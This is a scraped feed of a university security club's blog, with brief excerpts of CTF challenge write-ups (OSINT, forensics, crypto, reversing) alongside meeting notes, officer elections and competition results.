quick inspection of the repo shows that it features an accidentally committed SSH private key and matching public key. I copied the text of these out of the commit log, and into chall and chall.Codestin Search Apphttps://osusec.org/blog/ekopartyctf-env/Mon, 28 Sep 2020 00:00:00 -0700https://osusec.org/blog/ekopartyctf-env/EkoParty CTF 2020 Git 3 +Prompt Not too sure of the original prompt, however I did not need it. +Solution After the second part of the git challenge saga, we have gotten a new repository with some new github actions. We know, before analyzing these however, that: +Issues filed to the ekolabs repo will be ‘moved’ to the ekoparty-internal repo. We control content in the submitted issues, and this is copied to the new issues in ekoparty-internal repo.Codestin Search Apphttps://osusec.org/blog/ekopartyctf-leak/Mon, 28 Sep 2020 00:00:00 -0700https://osusec.org/blog/ekopartyctf-leak/EkoParty CTF 2020 Git 1 +Prompt Exact prompt has been forgotten. Linked to this GitHub repo +Solution This solution was quite obscure, as I approached this challenge in a github mindset, not a ctf::misc one. In light of this, I solved the second challenge first 😛 +When I got on to solving this one, it took me several runs through the full commit history of the repo before seeing this:Codestin Search Apphttps://osusec.org/blog/fword-ctf-identity-fraud/Mon, 31 Aug 2020 00:00:00 -0700https://osusec.org/blog/fword-ctf-identity-fraud/Points: 419 Solves: 86 Category: OSINT +Prompt Someone stole our logo and created a team named “Eword”. In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. … Can you help me in solving the task? +Flag Format: Eword{}Codestin Search Apphttps://osusec.org/blog/nahamconctf-finsta/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-finsta/50 points +Prompt This time we have a username. Can you track down NahamConTron? +Solution I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework &gt; Username &gt; Username Search Engines &gt; Namechk, similarly to in AUCTF. +namechk tells me that there are claimed usernames for the name NahamConTron for many sites, including Instagram. +Checking out the Instagram account, we get the flag. +flag{i_feel_like_that_was_too_easy} ~ LyellCodestin Search Apphttps://osusec.org/blog/nahamconctf-microosoft/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-microosoft/100 points +Prompt We have to use Microsoft Word at the office!? Oof… +Download the file below. +File +Solution Opening the file does not do much, but it would not be that easy. +Using file we can find out that this is an OOXML document: +$ file microsooft.docx microsooft.docx: Microsoft OOXML Based on this, and some quick reading, we can see that this format can contain files. To view these files, I first tried this chrome extension, before settling on getting a trial licensed version of OxygenXML.Codestin Search Apphttps://osusec.org/blog/nahamconctf-time-keeper/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-time-keeper/50 points +Prompt There is some interesting stuff on this website. Or at least, I thought there was… +Connect here: https://apporima.com/ +Note, this flag is not in the usual format. +Solution After scoping out that site, the title and description heavily hint towards use of the Wayback Machine. Over there we head, then. +First, I noted that there were only two captures, so I figured it would be worth it to compare them.Codestin Search Apphttps://osusec.org/blog/nahamconctf-tron/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-tron/75 points +Prompt NahamConTron is up to more shenanigans. Find his server. +Solution I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework &gt; Username &gt; Username Search Engines &gt; Namechk, similarly to in AUCTF. +namechk tells me that there are claimed usernames for the name NahamConTron for many sites: +Now that we have exhausted Instagram, I opened up all the other sites with claimed usernames for NahamConTron and systematically eliminated them.Codestin Search Apphttps://osusec.org/blog/thank-you/Fri, 05 Jun 2020 00:00:00 -0700https://osusec.org/blog/thank-you/Being your club president for the last 3 years has been an incredible experience. Back in Fall 2017 when I first came to OSU, the club had maybe 20-30 members and wasn’t involved in CTF or CDC at all. Now, we’ve reached nearly 300 members, play CTF nearly every weekend, and have many 1st place and top 3 finishes in CDC, not to mention our incredible 1st and 3rd place finishes in the NSA Codebreaker Challenge.Codestin Search Apphttps://osusec.org/blog/houseplantctf-catography-writeup/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/blog/houseplantctf-catography-writeup/Prompt Jubie’s released her own collection of cat pictures. Go check it out! +http://challs.houseplant.riceteacatpanda.wtf:30002 +Note: The Unsplash author credit is not a part of the challenge, it’s only there to conform with the Unsplash image license. +Dev: jammy +Solution Browsing the site, we can see that it is a collection of cat images… A lot of them. From inspecting the sources, we can see that these images are pulled from an API at http://challs.Codestin Search Apphttps://osusec.org/blog/houseplantctf-satans-jigsaw-writeup/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/blog/houseplantctf-satans-jigsaw-writeup/Prompt Oh no! I dropped my pixels on the floor and they’re all muddled up! It’s going to take me years to sort all 90,000 of these again 🙁 +Dev: Tom +Hint! long_to_bytes +File: chall.7z +Solution This provided archive contains 90,000 JPEG’s. I extracted all of them to ./images (relative to this README’s PWD). Each of these images has a size of 1 pixel. +Then, comes the fun part. Before reading the hint, I tried just forming the image from the pixels in the order that they appeared in the folder, but this revealed a ‘static’ image.Codestin Search Apphttps://osusec.org/blog/ijctf-vault-writeup/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/blog/ijctf-vault-writeup/Prompt We locked our secret box, You can directly ping the bot (@Vault #8895 ) using “start” to get the secret but we don’t know the door code we used random() also we used sleep(10). +shift register… +Author : Harsh and warlock_rootx +Hint: if pin in user_input(): #Good Stuff… +Solution This problem (and especially the hint) make clear what we have to do. We need to provide the discord bot with as many possible passcodes as we can for the suggested charset and length as possible… now, discord makes this hard, as messages are limited to 2000 characters.Codestin Search Apphttps://osusec.org/blog/prccdc-2020-results/Tue, 14 Apr 2020 00:00:00 -0700https://osusec.org/blog/prccdc-2020-results/Due to the current COVID-19 pandemic, the in-person Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) was unfortunately cancelled. However, PRCCDC, working in combination with NCCDC, allowed all of the Pacific Rim teams to compete in the National Wildcard Event, which was held online on April 11th, 2020. +I am pleased to announce that OSUSEC placed 2nd in the PRCCDC division (out of 12 teams), and 9th overall (out of 26 teams)!Codestin Search Apphttps://osusec.org/blog/bytebanditsctf-string-equals-integer-writeup/Sun, 12 Apr 2020 00:00:00 -0700https://osusec.org/blog/bytebanditsctf-string-equals-integer-writeup/Prompt Someone gave me two functions to convert strings into integers. I converted some strings to the integers and noted them down. Can you help me converting the concatenation of those strings in the order mentioned in the file hashes.txt into integers? +The answer for this is the multiplication of output of both the functions for the concatenated string. (Wrap the number around flag{}) +File: hash.zip +Solution The problem, after a couple read-throughs and looking at the files provided, makes clear that to generate hashes.Codestin Search Apphttps://osusec.org/blog/auctf-aliedas-about-some-thing/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-aliedas-about-some-thing/903 points +Prompt See what you can find. +AUCTFShh +Author: c +Solution AUCTFShh looks like a username. To find where that username is in use, we can either check manually (as I started out doing), or use some tools from the OSINT Framework Site. Specifically, I used OSINT Framework &gt; Username &gt; Username Search Engines &gt; Namechk. +I opened each of the greyed out sites in a tab, and looked through each for anything suspicious.Codestin Search Apphttps://osusec.org/blog/auctf-good-old-days/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-good-old-days/877 points +Prompt This site used to look a lot cooler. +Author: c +Solution Wayback Machine, here I come! This is the most useful view of the captures for the site ctf.auburn.edu: https://web.archive.org/web/sitemap/https://ctf.auburn.edu/. It shows that, among other subdirectories (and trust me, I visited each a couple times), the /users and /users/50 pages have both been captured. +https://web.archive.org/web/20200213064621/https://ctf.auburn.edu/users has a user called auctf{Th053_w3rE_Th3_guD_0l3_d4y5} – why it has to be at the end of that page, I don’t know (I checked the top half a couple times during my research).Codestin Search Apphttps://osusec.org/blog/auctf-osint-you-all-over-the-place/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-osint-you-all-over-the-place/A post-competition writeup; 983 points +Prompt I do not have access to the prompt, but the URL is devs-r-us.xyz +Solution After solving the first three challenges, I looked into this one. I investigated the website provided thouroughly, and found out the following: +Images mcofee.png and mcafee.png are different, their difference contains some data and a discord link (applicable to Oryx, the last OSINT challenge). Loretta Mcintosh (with twitter handle @BackUpOrMcintoshYouOut) and Jorge Greenwood (@JorgeGreenwoodCodes), and two sites listed in Jorge Greenwood’s Bio, all of which are dead ends on Wayback Machine and at the time of writing (facepalm.Codestin Search Apphttps://osusec.org/blog/auctf-who-made-me/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-who-made-me/950 points +Prompt One of the developers of this CTF worked really hard on this challenge. +note: the answer is not the author’s name +Author: c +Solution: Now for a much more real-world OSINT challenge. First, I started by doing a bit of recon. I ascertained that: +AU in AUCTF is for Auburn University (homeapge) AUCTF is run by members of the AUEHC (Auburn University Ethical Hacking Club). AUEHC is comprised of members: President – Jordan Sosnowski: jjs@auburn.Codestin Search Apphttps://osusec.org/blog/midnightsunctf-snake/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/midnightsunctf-snake/Prompt 141 points, 38 solves +Snake Oil Co. has invented a special programming language to play their new and improved version of Snake. Beat the game to get the flag. settings Service: nc snakeplusplus-01.play.midnightsunctf.se 55555 +Solution When I first connected to the remote server, I was presented with a menu, detailing 3 options: Play in player mode, play in computer mode, or exit. The rules detail that a score of 42 will grant you a flag, so I first tried in player mode (where I direct the snake).Codestin Search Apphttps://osusec.org/blog/nahamconctf-fake-file/Wed, 01 Apr 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-fake-file/100 points +Prompt Wait… where is the flag? +Connect here: nc jh2i.com 50026 +Solution Let’s nc to that server and see what’s up: +$ nc jh2i.com 50026 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell user@host:/home/user$ ls -lah ls -lah total 12K dr-xr-xr-x 1 nobody nogroup 4.0K Jun 12 17:10 . drwxr-xr-x 1 user user 4.0K Jun 4 18:54 .. -rw-r--r-- 1 user user 52 Jun 12 17:10 .Codestin Search Apphttps://osusec.org/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2/Prompt 1 You’re on a journey and come to the Tavern of a Kingdom Enemy, you need to get information of a secret organization for the next quest. Be careful about the Inquisitor! He can ban you from this world. +TL;DR find the flag +Kingdom Chall +HINT: Title/Chall name +Prompt 2 There is a mage in the tavern that reveals secrets from the place. He is friendly, so he can help you!Codestin Search Apphttps://osusec.org/blog/tamuctf-alcapone/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-alcapone/Prompt Eliot Ness is the lead on taking down Al Capone. He has gained access to Capone’s personal computer but being the good detective he is, he got the disk image of the computer rather than look through the actual computer. Can you help Ness out and find any information to take down the mob boss? +(hint: Al Capone knew his computer was going to be taken soon, so he deleted all important data to ensure no one could see it.Codestin Search Apphttps://osusec.org/blog/tamuctf-geography/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-geography/Prompt My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111. +She’s always been a bit cryptic. She told me to “surround with gigem{} that which can be seen from a bird’s eye view”… what? +Solution Ok. We know that we need to somehow interpret those binary strings as coordinate(s) to get a location that we can look at from “bird’s eye view” (presumably on Google Maps).Codestin Search Apphttps://osusec.org/blog/tamuctf-russian_nesting_dolls/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-russian_nesting_dolls/Prompt Our monitoring systems noticed some funny-looking DNS traffic on one of our computers. We have the network logs from around the time of the incident. Want to take a look? +Files: netlogs.pcap +Solution Opening the PCAP up in wireshark shows that there are quite a few (37991) DNS packets, as well as a smattring of others (Statistics &gt; Protocol Hierarchy). Let’s look at the remaining packets first, as there are only a few of them:Codestin Search Apphttps://osusec.org/blog/tamuctf-woof_woof/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-woof_woof/Prompt (I did not get the prompt text in time, and admin closed access to the challs when the CTF ended :() +The instructions mentioned charset A-Z and ‘-‘ and ‘@’, with flag format GIGEM-.... +reveille.png +Solution After running strings on the image to no result, we open this image up in stegsolve, and examine the file format Analyze &gt; File Format. We see the usual stuff, except for: +Comment data Length: 1aa (426) Dump of data: Hex: 01aa776f6f662077 6f6f66206261726b 2072756666206261 726b206261726b20 7275666620776f6f 6620776f6f662062 61726b2072756666 206261726b207275 666620776f6f6620 776f6f6620727566 6620776f6f662062 61726b206261726b 206261726b206261 726b20776f6f6620 7275666620776f6f 66206261726b2062 61726b2072756666 20776f6f6620776f 6f6620776f6f6620 776f6f6620776f6f 6620727566662077 6f6f6620776f6f66 206261726b207275 666620776f6f6620 7275666620626172 6b20776f6f662077 6f6f66206261726b 20776f6f66206261 726b207275666620 6261726b20626172 6b206261726b2072 75666620776f6f66 2072756666206261 726b20776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b20776f 6f66206261726b20 7275666620626172 6b20776f6f662077 6f6f6620776f6f66 207275666620776f 6f6620776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b206261 726b206261726b20 7275666620776f6f 66206261726b2062 61726b206261726b 206261726b20776f 6f66 Ascii: .Codestin Search Apphttps://osusec.org/blog/tamuctf-rsapwn/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-rsapwn/Prompt We must train the next generation of hackers. +nc challenges.tamuctf.com 8573 +Solution It looks like this just asks us to find the two “big prime” factors of the number provided, and return them. Athos’ script does exactly that: +python3 ./exploit.py [+] Opening connection to challenges.tamuctf.com on port 8573: Done b&#39;We must train future hackers to break RSA quickly. Here is how this will work.\nI will multiply together two big primes (&lt;= 10000000), give you the result,\nand you must reply to me in less than two seconds telling me what primes I\nmultiplied.Codestin Search Apphttps://osusec.org/blog/volgactf-excellent-crackme/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/volgactf-excellent-crackme/Prompt Excellent Crackme We know one can do pretty much everything in Excel spreadsheets, but this… +excel_crackme +Solution An excel challenge – that’s a first for us! Let’s crack that file open. We used LibreOffice, as Excel was not installed and Libreoffice was. Upon opening, we are greeted with a message that mentions that macros will not be run for security reasons. we’ll look into that in a sec, thank you, LibreOffice.Codestin Search Apphttps://osusec.org/blog/officer-elections-on-3-12/Tue, 03 Mar 2020 00:00:00 -0700https://osusec.org/blog/officer-elections-on-3-12/Next week, we will be having officer elections! This is a great way to get more involved with the club and help represent the College of Engineering. tl;dr Come vote on Thursday, 3/12 at 7pm in KEC 1003. We will have pizza. +I have been the president of the OSU Security Club for nearly 3 years now, and I have loved every second of it. Being able to work with all of you has had a tremendous impact on my college experience, and I thank each and every one of you for contributing to that.Codestin Search Apphttps://osusec.org/blog/welcome-to-damctf/Sat, 22 Feb 2020 00:00:00 -0700https://osusec.org/blog/welcome-to-damctf/shamir_babytcache101Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-3/Thu, 03 Oct 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-3/Thanks for the great turnout again tonight! We went over some tools you can use for the NSA Codebreaker challenge. +Here is a link to the slides (requires ONID sign-in): Google Slides +Next week’s CTF meeting is slightly changed, it will be at 7pm in KEC 1003 on Tuesday, 10/8.Codestin Search Apphttps://osusec.org/blog/meeting-notes-9-26/Fri, 27 Sep 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-9-26/Thanks everyone for coming out to our first meeting! We had over 50 people in attendance, and introduced the OSU Security Club, what we do, what we stand for, our plans for the year, and worked on a couple introductory CTF challenges. +Here is a link to the slides (requires ONID login): Google Slides +Next week we have two meetings: +The first CTF meeting is Tuesday, 10/1 @ 6:30pm in KEC 1005.Codestin Search Apphttps://osusec.org/blog/nsa-visit/Thu, 26 Sep 2019 00:00:00 -0700https://osusec.org/blog/nsa-visit/Yesterday the National Security Agency came to meet with some members of the university and give a talk to the OSU Security Club. The visit was a great success and we had over 100 people in attendance for the talk. +The talk was focused around the NSA Codebreaker Challenge, which just started last weekend (Oregon State won last year, and is currently in 2nd place). There was also a long Q&amp;A session following the talk, where club members were able to ask questions about the challenge, in addition to general curiosities about the National Security Agency.Codestin Search Apphttps://osusec.org/blog/defcon-qualifiers-2019-redacted-puzzle/Sun, 12 May 2019 00:00:00 -0700https://osusec.org/blog/defcon-qualifiers-2019-redacted-puzzle/The only file given is a GIF image, named redacted-puzzle.gif. We must first inspect it: +$ exiftool redacted-puzzle.gif ExifTool Version Number : 10.80 File Name : redacted-puzzle.gif Directory : . File Size : 78 kB File Modification Date/Time : 2019:05:10 17:05:42-07:00 File Access Date/Time : 2019:05:10 17:05:42-07:00 File Inode Change Date/Time : 2019:05:10 17:26:26-07:00 File Permissions : rwxrwxrwx File Type : GIF File Type Extension : gif MIME Type : image/gif GIF Version : 89a Image Width : 1280 Image Height : 720 Has Color Map : Yes Color Resolution Depth : 3 Bits Per Pixel : 2 Background Color : 3 Animation Iterations : Infinite Frame Count : 35 Duration : 8.Codestin Search Apphttps://osusec.org/blog/meeting-notes-5-9/Thu, 09 May 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-5-9/Today we hosted Ryan Gurr and Alex Ryan from Fidelis Cybersecurity, who talked about their experiences and background in information security, and showed a cool demo of Fidelis’s platform. +If you have any questions for Ryan or Alex, please contact them, they said they’d love to answer any questions you may have, related to Fidelis or not. You can get their contact info here.Codestin Search Apphttps://osusec.org/blog/2019-2020-officers/Fri, 26 Apr 2019 00:00:00 -0700https://osusec.org/blog/2019-2020-officers/Here are the new officers for the 2019-2020 school year: +President: Zander Work Vice President: Hadi Rahal-Arabi Treasurer: David Park Multimedia Coordinator: Adam Stewart Lab Manager: Ryan Kennedy Recruitment/Public Relations: Alex Rash Thanks to everyone who participated!Codestin Search Apphttps://osusec.org/blog/angstromctf-streams/Fri, 26 Apr 2019 00:00:00 -0700https://osusec.org/blog/angstromctf-streams/Problem White noise is useful whether you are trying to sleep, relaxing, or concentrating on writing papers. Find some natural white noise here. +Note: The flag is all lowercase and follows the standard format (e.g. actf{example_flag}) +Author: ctfhaxor +Points: 70 +Hint: Are you sure that’s an mp4 file? What’s inside the file? +Solution First, we deduced some information about the challenge by reading the description. “The flag is all lowercase” implies that we will be constructing it letter by letter, possibly from audio.Codestin Search Apphttps://osusec.org/blog/angstromctf-lithp/Fri, 26 Apr 2019 00:00:00 -0700https://osusec.org/blog/angstromctf-lithp/Problem My friend gave me this program but I couldn’t understand what he was saying – what was he trying to tell me? +Author: fireholder +Points: 60 +Solution First things first, let’s open that lisp program . . . It actually is lisp… oh god what have I just gotten into? +The first lines were most important in solving this challenge the way I did it. It reads: +(defparameter *encrypted* &#39;(8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312)) (defparameter *flag* &#39;(redacted)) (defparameter *reorder* &#39;(19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20)) Well, then.Codestin Search Apphttps://osusec.org/blog/meeting-notes-4-18/Thu, 18 Apr 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-4-18/Tonight I gave a tutorial on IDA Pro basics, and how to get started with this awesome tool. I also released some new binaries on the CTF site for you to practice IDA. +Remember, as a OSU Security Club member you have access to our lab systems, which has the full version of IDA Pro and the Hex-Rays Decompiler installed, so make sure to use those if you want to take advantage of the advanced functionality.Codestin Search Apphttps://osusec.org/blog/2019-2020-officer-elections-on-april-25th/Tue, 16 Apr 2019 00:00:00 -0700https://osusec.org/blog/2019-2020-officer-elections-on-april-25th/We will be holding officer elections for next school year during our regular meeting on Week 4 (April 25th). This is a great way to be more involved with the club, and represent us to the College of Engineering. +Here are the positions (link goes to position duties): +President Vice President Treasurer Multimedia Coordinator Lab Manager To run for a position, please do the following: +Fill out this form no later than April 23rd Send a slide (one slide) to security.Codestin Search Apphttps://osusec.org/blog/prccdc-2019-results/Sun, 24 Mar 2019 00:00:00 -0700https://osusec.org/blog/prccdc-2019-results/This past weekend, OSUSEC competed at the Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) hosted by Highline College. I’m pleased to announce that we placed 3rd out of 13 teams in this tough competition. +PRCCDC is a 2 day competition where each team must secure a mix of approximately 10 Windows and Linux systems, configure a border firewall, monitor and defend against attacks from the Red Team, and work with business users over the phone throughout the event.Codestin Search Apphttps://osusec.org/blog/utctf-2019-crackme/Mon, 11 Mar 2019 00:00:00 -0700https://osusec.org/blog/utctf-2019-crackme/This was a 1200 point reversing challenge (tied for highest point value in the category). Here’s the description: +This what we see when we run the binary: +$ ./crackme Please enter the correct password. &gt;pls Incorrect password. utflag{wrong_password_btw_this_is_not_the_flag_and_if_you_submit_this_i_will_judge_you} Let’s take a look at the code in IDA Pro: +Here’s what the decompilation shows: +Read in 64 bytes from stdin Call divide(32, 0), and save the return value to v4 xor our input at index v4 with 8 Replace a few characters of our input with ‘D’ xor each character in our input with 0x27 Now we see “stuff[j] = stuff2[202 – j] ^ (stuff[j] – 1);”.Codestin Search Apphttps://osusec.org/blog/utctf-2019-scrambled/Mon, 11 Mar 2019 00:00:00 -0700https://osusec.org/blog/utctf-2019-scrambled/Tl;dr Cool encoding using Rubik’s cube, I wrote a Python script. +This was a 1250 point Forensics challenge (highest points in the category). Here’s the description: +By the time I took a look at the challenge, they had released a hint as well: +Based on the hint, I quickly discovered that the challenge description described ways of manipulating a Rubik’s Cube: +Googling the hint (“rubikstega”) leads to a paper entitled “Rubikstega: A Novel Noiseless Steganography Method in Rubik’s Cube” (link).Codestin Search Apphttps://osusec.org/blog/utctf-2019-rogue-leader/Sun, 10 Mar 2019 00:00:00 -0700https://osusec.org/blog/utctf-2019-rogue-leader/Problem Description Our once-venerable president has committed the unspeakable crime of dine-and-dashing the pizza during our own club meetings. He’s on the run as we speak, but we’re not sure where he’s headed. +Luckily, he forgot that we had planted a packet sniffer on his laptop, and we were able to retrieve the following capture when we raided his apartment: [pcap]. +He’s too smart to email his plans to himself, but I’m certain he took them with him somehow.Codestin Search Apphttps://osusec.org/blog/meeting-notes-3-7/Thu, 07 Mar 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-3-7/Thanks to Kees Cook for an awesome look at kernel security! Kees talked about how the kernel exploit for CVE-2017-7038 was discovered, which allowed privilege escalation due to a heap overflow. +You can see his slides here, which also has information for building the POC images for the exploit. +This was our last meeting for Winter 2019, so I’ll see you all next term! Our first meeting will be on Week 2.Codestin Search Apphttps://osusec.org/blog/meeting-2-28-osusec-lab/Thu, 28 Feb 2019 00:00:00 -0700https://osusec.org/blog/meeting-2-28-osusec-lab/Tonight I talked about the new OSUSEC lab environment! A few systems are currently live, and more will be coming up through the end of the term, including the self-registration system. For information about the lab environment, please see the dedicated page for it.Codestin Search Apphttps://osusec.org/blog/meeting-2-21/Thu, 21 Feb 2019 00:00:00 -0700https://osusec.org/blog/meeting-2-21/Tonight we hosted Karl Fosaaen from NetSPI, and he gave an awesome talk on pentesting in an Azure environment. +If you’re interested in learning more about this, check out the NetSPI blog or the Azure pentesting book he mentioned. Karl’s post on using Azure RunAs certificates is now live here.Codestin Search Apphttps://osusec.org/blog/meeting-2-14/Thu, 14 Feb 2019 00:00:00 -0700https://osusec.org/blog/meeting-2-14/Tonight I went over some basic usage of GDB, IDA Pro, and pwntools for solving the first pwnables on our CTF site. +Link to the slides (requires ONID login). The slides have information on getting the tools installed, so if you are having issues with that, check the slides out.Codestin Search Apphttps://osusec.org/blog/meeting-2-7/Thu, 07 Feb 2019 00:00:00 -0700https://osusec.org/blog/meeting-2-7/Today we continued discussing reverse engineering and introduced 64-bit assembly. There are more samples on the GitHub repo. +The only announcement for today is to RSVP for our upcoming event with NetSPI! They will be coming back on 2/21 to do a presentation on penetration testing, and answer any questions you may have. The RSVP is just so I can get a head count for pizza. RSVP here +There are new challenges up on CTFd, rev[1-3]-64.Codestin Search Apphttps://osusec.org/blog/meeting-1-31/Thu, 31 Jan 2019 00:00:00 -0700https://osusec.org/blog/meeting-1-31/Today we talked about some basic reverse engineering, and compare/contrasting x86 assembly with C code. +There are some new challenges up on CTFd, rev[1-4] +Link to the slides (requires ONID login)Codestin Search Apphttps://osusec.org/blog/meeting-1-24/Thu, 24 Jan 2019 00:00:00 -0700https://osusec.org/blog/meeting-1-24/Tonight we worked on buffer overflows, and some binaries on the new OSUSEC CTF platform. +Slides (requires ONID login) +Next week, we’re going to work on similar binaries, but comparing the assembly code with the C code.Codestin Search Apphttps://osusec.org/blog/meeting-1-17/Thu, 17 Jan 2019 00:00:00 -0700https://osusec.org/blog/meeting-1-17/Tonight we talked about some CTF tools and did a walkthrough for “start” on pwnable.tw. You can read a detailed writeup for this binary on the OSUSEC GitHub. +Here’s a link to the slides (requires ONID login): Slides +For those of you who felt lost tonight, my apologies! I received some great feedback, and will have some easier binaries for next week, which will allow me to work on establishing a better baseline for everyone.Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-2018-task-6/Wed, 16 Jan 2019 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-2018-task-6/Loophole – (Smart-Contract Development; Vulnerability Analysis; Exploit Development) +Task 6 has us exploit a loophole in the smart-contracts to recover the decryption key without spending any ether (not including transaction costs). We are given the source for three smart contracts: the Escrow contract, the Ransom contract, and the Registry contract. +Decryption Overview Let’s first look at the intended method of recovering the decryption key. +From the Escrow contract, the victim calls payRansom() to pay the ransom amount.Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-2018-task-7/Wed, 16 Jan 2019 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-2018-task-7/Refunds – (Smart-Contract Development; Vulnerability Analysis; Exploit Development) +Task 7 has us refund the victims who have already paid the ransom. In other words, we need to recover all the funds in the Escrow contract, then transfer the funds to the victims. Recall that from task 6, we found that we could deploy and authenticate arbitrary ransom contracts. +Scanning for Vulnerabilities A natural place we can start looking for a vulnerability is the requestRefund() function.Codestin Search Apphttps://osusec.org/blog/meeting-1-10/Thu, 10 Jan 2019 00:00:00 -0700https://osusec.org/blog/meeting-1-10/Thanks for a great first meeting for Winter 2019! +Here is a link to the slides (requires ONID login): Slides +For those of you who were unable to make it, here’s a brief summary of what we went over. Mostly, it was just talking about what’s coming for the rest of the term: +Updates on the OSUSEC Lab It’s coming. Windows is almost ready and then I’ll be working on Linux.Codestin Search Apphttps://osusec.org/blog/welcome-to-winter-2019/Tue, 08 Jan 2019 00:00:00 -0700https://osusec.org/blog/welcome-to-winter-2019/Happy New Years! Our first meeting will be this Thursday at 7pm in KEC1003, and we will be meeting at the same time/place the whole term. +Some things to look forward to for this term: +I’m working with NetSPI to have them come back with a more technical presentation and hopefully some labs, so that will be awesome. PRCCDC is in March, with qualifiers in Februrary, so we will be working on putting together a team for that.Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-challenge-2018-results/Sun, 06 Jan 2019 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-challenge-2018-results/The NSA Codebreaker Challenge finished today, and I’m proud to announce that Oregon State University is the winner! We also had the most people complete Task 5 and 2 people complete Task 7, which is awesome! +For those of you who are unfamiliar with the Codebreaker Challenge, it is a CTF-style event put on every year in the fall by the National Security Agency usually featuring some reverse engineering, vulnerability analysis, and exploit development, along with something unique to keep things interesting.Codestin Search Apphttps://osusec.org/blog/cyberforce-competition-2018-results/Tue, 04 Dec 2018 00:00:00 -0700https://osusec.org/blog/cyberforce-competition-2018-results/I’m thrilled to announce that OSUSEC placed 1st at the Cyberforce Competition last weekend at PNNL, and 3rd nationwide out of 70 teams! I’m very proud of everyone’s hard work, and am already excited with new ideas for next year. The university is sending out a press release on Thursday so I’ll update this post with a link to that when it comes out. +Link to the competition website: https://cyberforcecompetition.com/Codestin Search Apphttps://osusec.org/blog/meeting-11-15/Fri, 16 Nov 2018 00:00:00 -0700https://osusec.org/blog/meeting-11-15/Thanks for a great last meeting for the Fall term! +I gave a talk on all of the low-level architecture and x86 assembly content needed to get started with binary pwning, here is a link to the slides. Hopefully, this is enough to get you all started! +Have a great winter break!Codestin Search Apphttps://osusec.org/blog/meeting-11-01/Thu, 01 Nov 2018 00:00:00 -0700https://osusec.org/blog/meeting-11-01/Thanks to Karl Fosaaen from NetSPI for the awesome presentation on an introduction to penetration testing! Remember, if you want to learn about these things on your own, please make sure to do it on your own network and devices. I’ll update this post with a link to the slides when they become available. +I don’t have any announcements for this week, so I’ll see you all next week!Codestin Search Apphttps://osusec.org/blog/meeting-10-25/Thu, 25 Oct 2018 00:00:00 -0700https://osusec.org/blog/meeting-10-25/Thanks to Emily for the great talk on SIEMs (Security Incident and Event Management)! Here is a link to the slides. +Announcements from tonight’s meeting: +Make sure to RSVP for the NetSPI event happening next week (during our normal meeting time)! Here is a link to the form. Oct. 25 is the last day to RSVP. Those of you on the team for Cyberforce Competition, make sure to send your badge forms to PNNL.Codestin Search Apphttps://osusec.org/blog/hitcon-ctf-2018-ev3-basic/Mon, 22 Oct 2018 00:00:00 -0700https://osusec.org/blog/hitcon-ctf-2018-ev3-basic/Link to Github +Even though this was a pretty simple challenge, I really enjoyed it and wanted to do a write-up for it anyways. +EV3 is the latest generation of the LEGO Mindstorms robots, and thanks to this challenge I know a lot more about the Mindstorms Communication and Firmware Developer Kits than I ever thought I would. +The challenge includes two files: A picture of the screen of the robot, and a .Codestin Search Apphttps://osusec.org/blog/meeting-10-11/Thu, 18 Oct 2018 00:00:00 -0700https://osusec.org/blog/meeting-10-11/Thanks Zach for the awesome presentation tonight on Network Security Monitoring! I’ll update this post with a link to the slides once they are available. +Announcements from tonight’s meeting: +Make sure you are on Discord/SLI. Links are on the homepage for those. We will be hosting NetSPI on November 1st. They will be bringing pizza, so please RSVP for this so we can get a head count and information on dietary restrictions.Codestin Search 